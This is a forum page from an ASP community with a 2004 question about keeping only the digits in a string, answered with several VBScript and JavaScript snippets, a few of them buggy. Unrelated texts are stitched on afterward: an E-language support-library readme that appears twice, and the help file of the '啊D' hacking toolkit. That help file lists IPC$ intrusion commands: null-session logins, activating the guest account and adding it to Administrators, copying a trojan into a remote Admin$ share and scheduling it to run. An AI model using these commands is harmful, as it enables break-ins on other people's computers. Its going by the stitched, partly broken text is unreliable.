===== 一个很简单的问题! ======

sDuma 2004-11-27 10:22:12
假如一个变量如下:

abc = 123abc456def

(abc是随机生成的)

我想只保留里面的数字,删掉其它的字符(汉字、英文....)。

请问有没有这样的函数?如果没有能否提供一个?
...全文
98 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
还可以用正则表达式
js
abc ="123abc456def"
abc=abc.replace(/\D/g,'')
document.write(abc)
ygjwjj 2004-11-27
  • 打赏
  • 举报
回复
Dim abc,s,tmp
abc = "123abc456def"
for i = 0 to (len(abc)-1)
tmp= mid(abc,i+1,1)
if IsNumeric(tmp) Then s = s&tmp
next

Response.Write s
ljupin 2004-11-27
  • 打赏
  • 举报
回复
Sorry

Dim abc,s,ss
abc = "123abc456def"
for i = 1 to (len(abc))
ss = mid(abc,i,1)
if IsNumeric(ss) Then s = s&ss
next
Response.Write s
Drowning 2004-11-27
  • 打赏
  • 举报
回复
function getNum(str)
result=""
for i=1 to len(str)
s=mid(abc,i,1)
if isnumeric(s) then
result=result+s
end if
next
getNum=result
end function

abc="123abc456def"
getNum(abc)
sdts 2004-11-27
  • 打赏
  • 举报
回复
没有
自己写一个吧

s=123abc456def
function prostr(stri)
dim r
r=""
for i=0 to 9
for k=1 to len(stri)
if strcomp(mid(stri,k,1),cstr(i),1) = 0 then
r=cstr(i)&r
end if
next
next
prostr=r
end function

没有实验 应该差不多了
ljupin 2004-11-27
  • 打赏
  • 举报
回复
abc是随机生成的?晕

笨方法,暂时没想到其他方式:
Dim abc,s
abc = "123abc456def"
for i = 0 to (len(abc)-1)
if IsNumeric(abc(i)) Then s = s&abc(i)
next

Response.Write s
========== 1.易支持库机制 ========== !!!易支持库的库信息、命令信息等等均使用某个结构储存 !!!易源码中的自定义数据类型、类模块、组件即为支持库中的库定义数据类型 !!!易语言通过 GetNewInf() 获取支持库信息 !!!所以支持库必须导出这个函数 ========== 2.支持库命令调用 ========== !!!支持库的命令调用方式也比较特殊 !!!每个命令需要三个参数:返回值指针,参数数目,参数信息指针 !!!做个一个库定义数据类型的方法,每个方法的第一个参数为指向该对象的结构指针 ========== 3.简单说下易源码 ========== !!!易保存源码时没有保存各信息名称(比如命令名、数据类型名),而是保存了索引 !!!所以支持库内的各信息有必要时可以修改 !!!但不要改动TA们的顺序,这会导致前期版本的源码出现问题 ========== 4.模版说明 ========== !!!本模版整天来说思路清晰,代码连小白都能理解 !!!模版多数的参数使用通用型,使得模版简便 !!!模版内没有多说废话, 直接把关键的过了一遍, 足够写支持库了 !!!每条命令都演示了支持库的各种操作,能想到的都先写了 !!!暂时没写组件,目前没什么时间了,玩着电脑也冷~ !!!尽量抽时间将组件的开发也模块化 !!!或者各位有心人士可参考 e\sdk\cpp\samples\HtmlView 写一下 ========== 5.关于静态库 ========== !!!本人目前只做了动态库,不做静态库原因很多 !!!本来打算做静态库的,不过考虑到某些原因: !!!静态库误报,动态库转到静态库时也会出现一些未知问题 !!!个人也建议使用独立编译,5.3已经恢复 !!!更建议用 黑月Cool编译 !!!或者直接就是一个“懒”字! !!!各路有心人士可动手改一下 !!!我也弄好了静态连接名的录入机制 ========== 6.为何选择支持库 ========== !!!其实用模块扩展程序也是足够了 !!!选择做支持库还是安全的 !!!而且支持库有许多模块做不到的功能 ========== 7.关于易功能函数 ========== !!!顾名思义, 就是易内部提供给支持库的函数 !!!主要的用法呢还是得参考 lib2.h(位于 e\sdk\cpp\elib\lib.h) !!!虽说是一个C++头文件,但是语文好点、懂易语言就能理解 !!!小学生的语文水平就差不多啦 !!!我还是把一些常用的写到了 类_易功能 这个类里面 !!!各位同学可以看看、、 ========== 【最后】 ========== !!!直说:本人纯属菜鸟一枚, 各路大神勿喷即可 ==========  【信息】  ========== !!!模版:易支持库模版 !!!作者:SalHe(Rabbit Group) !!!声明:大鸟勿喷即可 !!!日期:2014年11月8日
========== 1.易支持库机制 ========== !!!易支持库的库信息、命令信息等等均使用某个结构储存!!!易源码中的自定义数据类型、类模块、组件即为支持库中的库定义数据类型!!!易语言 通过 GetNewInf() 获取支持库信息!!!所以支持库必须导出这个函数 ========== 2.支持库命令调用 ========== !!!支持库的命令调用方式也比较特殊!!!每个命令需要三个参数:返回值指针,参数数目,参数信息指针!!!做个一个库定义数据类型的方法,每个方法的第一个参数为指向该对象的结构指针 ========== 3.简单说下易源码 ========== !!!易保存源码时没有保存各信息名称(比如命令名、数据类型名),而是保存了索引!!!所以支持库内的各信息有必要时可以修改!!!但不要改动TA们的顺序,这会导致前期版本的源码出现问题 ========== 4.模版说明 ========== !!!本模版整天来说思路清晰,代码连小白都能理解!!!模版多数的参数使用通用型,使得模版简便!!!模版内没有多说废话, 直接把关键的过了一遍, 足够写支持库了!!!每条命令都演示了支持库的各种操作,能想到的都先写了!!!暂时没写组件,目前没什么时间了,玩着电脑也冷~!!!尽量抽时间将组件的开发也模块化!!!或者各位有心人士可参考 e\sdk\cpp\samples\HtmlView 写一下 ========== 5.关于静态库 ========== !!!本人目前只做了动态库,不做静态库原因很多!!!本来打算做静态库的,不过考虑到某些原因:!!!静态库误报,动态库转到静态库时也会出现一些未知问题!!!个人也建议使用独立编译,5.3已经恢复!!!更建议用 黑月Cool编译!!!或者直接就是一个“懒”字!!!!各路有心人士可动手改一下!!!我也弄好了静态连接名的录入机制 ========== 6.为何选择支持库 ========== !!!其实用模块扩展程序也是足够了!!!选择做支持库还是安全的!!!而且支持库有许多模块做不到的功能 ========== 7.关于易功能函数 ========== !!!顾名思义, 就是易内部提供给支持库的函数!!!主要的用法呢还是得参考 lib2.h(位于 e\sdk\cpp\elib\lib.h)!!!虽说是一个C++头文件,但是语文好点、懂易语言就能理解!!!小学生的语文水平就差不多啦!!!我还是把一些常用的写到了 类_易功能 这个类里面!!!各位同学可以看看、 、 ========== 【最后】 ========== !!!直说:本人纯属菜鸟一枚, 各路大神勿喷即可 ==========??【信息】??========== !!!模版:易支持库模版!!!作者:SalHe(Rabbit Group)!!!声明:大鸟勿喷即可!!!日期:2014年11月8日怎么编译我还是简单说一下,针对一下小白。编译的时候将文件名的后缀改为fne在放入易语言的支持库目录就好了支持库一发布后就不要修改数字签名和支持库文件名了
::: 啊D网络工具包 帮助文件 ::: 软件功能如下: --------------------------------------------------------------------------------- 1. 共享资源查找 [为你查找网上的共享资源!] 2. 肉鸡查找 [查找一个网段NT,Win2000密码过于简单的主机,还加入了系统版本识别,使用更方便] 3. 远程服务查看 [你可以查看和修改远程的服务,如关闭和启动Telnet,更方便!] 4. 查看隐藏共享 [查看远程计算机的全部共享,包括隐藏的共享也可以查看的到,查看共享更方便] 5. 查看用户组信息 [Win介面的查看远程机子的用户和组的信息,便用更方便!] 6. 开远程的Telnet [直截开启微软自带的Telnet,开Telnet,原来也可以这么简单!] 3. NT消息发送 [向NT的机子发送消息,便用Win介面使用更方便!] 3. IP端口扫描 [有针对性的查看整个网段的某个端口,如冰河端口7626] 4. 端口扫描 [使你更加了解对方主机端口的打开状况] 5. 网卡MAC [快速获取一个网段的 用户名、工作组、对方的网卡MAC地址] 6. 网络状态查看 [想知道自己机子打开了什么端口吗?本程序可帮上你的忙!] 7. 主机查询 [想知道IP的的所在地?想知道某地有哪些IP,本程序可帮上你的忙!] 8. Ping [判断某IP是否和网络连接的好帮手!] 9. 域名<=>IP [想知道域名对应的IP,想知道IP对应的域名,本程序可以帮助你!] 10. 路由查看 [想知道某IP经过的路由?用本程序就可以给你答案!] 11. Finger [Finger能为你查询对方系统的用户信息!] 12. 进程查看 [查看正在运行的软件,查木马还是有一定的帮助的!] 13. 本机IP [在上网的时候,想知道自己的IP吗?本程序可以为你办到!] 14. 常用修改 [反恶意网页修改,恢复系统设置等] 19. 查错误代号说明 [不知道51这个代号表示什么错误,查一查就知道了!] --------------------------------------------------------------------------------- 支持的系统:win98/WinMe/win2000/WinXP/WinNT 功能键说明: Ctrl+'1' ~ '9' 显示指定数字的页面 CtrL+'-' 前一页 CtrL+'+' 后一页 * 在IP1输入框里双击鼠标左键转到"主机查询" * 在IP2输入框里双击鼠标左键将把IP2输入框的IP转为IP1输入框的IP! * 在程序里,大部分地方都有右键功能! =================================== 文件组成 =================================== DTools.exe 主要的执行文件 Help.txt 帮助文件 Setup.ini 设置文件 IP.^_^ IP数据文件 *.d99 共享资源文件 *.Por 指定扫描的端口文件 =================================== 关于 =================================== 制作人: 啊D QQ号码: 9269563 邮 箱: paf@163.net 网 址: http://d99.126.com 地 址: 深圳市龙岗区坪山镇石井太阳村 如果觉得本软件不错,请发一份电子信件, 表示对作者的支持! 在使用中发现错误,请记下你的测试环境,告诉我!以便更好地解决问题,先谢! 注: 本软件为免费软件,对使用本软件产生的后果,由使用者承担! 本软件可随意转载,转载时请确保文件的完整!未经同意,请勿用于商业用途! ================================================================== 一些常用的DOS网络命令 ================================================================== net share abc$=c:\ 将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录) net share c$ /del 禁止C$共享 net use z: \\*.*.*.*\C$ 把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z:盘 net use c: /del 删除映射的c盘 net use * /del /y 删除全部 net start 显示本地主机当前服务 net start telnet 启动 Telnet 服务 net start Server 启动 Server 服务 (IPC$ 和共享要靠这个服务) net stop Messenger 停止信使服务(不会在有烦人的Win的弹出广告了)! net stop server 停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵) net user 得到本地主机的用户列表 net user guest /active:yes 将停用的guest帐号激活(变为可用) net user guest 888888 把 Guest 帐号的密码改为 888888 net localgroup Administrators guest /add 把 Guest 加到Administrators组中(这样你就有了超级权限了) net view \\*.*.*.* 查看指定IP主机上的共享 nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表 net share 查看本地主机的共享资源(本地的默认共享也可以看到) net use \\*.*.*.*\ipc$ "" /user:"" 建立空连接 telnet *.*.*.* 90 连接对方机子的telnet,端口为90 ipconfig 查看本机的IP信息 入侵ipc过程序命令 ----------------------------------------------- net use \\*.*.*.*\ipc$ "" /user:"Administrator" 建立用户名为 Administrator 密码为空的连接 copy server1.exe \\*.*.*.*\Admin$\system32 即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内 net time \\*.*.*.* 查看远程主机的当前时间 at \\*.*.*.* 14:00 server1.exe 在对方机子添加一个在 14:00 运行 server1.exe 的任务 netstat [-r] [-s] [-n] [-a] 参数含义: -r 显示本机路由表的内容; -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议); -n 以数字表格形式显示地址和端口; -a 显示所有主机的端口号。 ------------------------------------------------------------------ ================================================================= 更新 ================================================================= DTools 2.01 更新情况(2004.4.3) * 更新了过期问题。 * 加入公告板。 DTools 2.0 更新情况(2003.8.15) * 强加了远程查看和修改服务功能。 * 强加了查看隐藏共享。 * 强加了查看用户和组信息。 * 强加了NT消息发送。 * 强加了远程开Telnet的功能。 * 强加了查错误代号说明。 * 价面作了修改。 * 修正了在IP1里不能用快捷建 "Ctrl+C" "Ctrl+V" 等问题! 使复制和粘贴更方便! * 软件介面大小可以自由调整!使用更方便! * "肉鸡查找"增加了识别对方系统版本功能!使"肉对查找"有更体贴的感受! * "木马种植"可以只在对方系统添加命令,而不复制文件!就像远程Telnet这么好用! * 修正了"主机查询"的读取某些追捕数据文件会出错的问题! * "网络状态"的右键菜单加入了"查看所有端口所明",想知道你的机子打开端口的说明,一按就全知道! * "路由查看"增加了"显示域名"和"显示对方IP所在地"的功能,了解路由机子的信息更方便! * "共享资源查找"增加了"自动保存"! * 在主机框里输入IP将会在全部的IP框中加入刚输入的地址!在IP框中输入IP也会把IP加入主机框中!减少了复制、粘贴的工作量! DTools 1.01 更新情况(2003.4.20) * 增加了网卡MAC地址查看功能! * 增加了肉鸡(IPC$)查找功能! * 增加了木马(IPC$)种植! * 增加了读取NT用户列表功能! * 增加了Finger功能! * 增强了共享资源查找器的功能,在win2000下能查找 C$ D$ .. IPC$ ADMIN$ 等隐藏共享目录 * 修改了共享查找的介面 * 删除了密码查看功能 * 修正了在Win2000下不能运行的问题 * 修正了一些Bug * 介面作了少量改动! * 添加了"在桌面加入快捷方式"的功能! * 外置了端口说明!

28,408

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧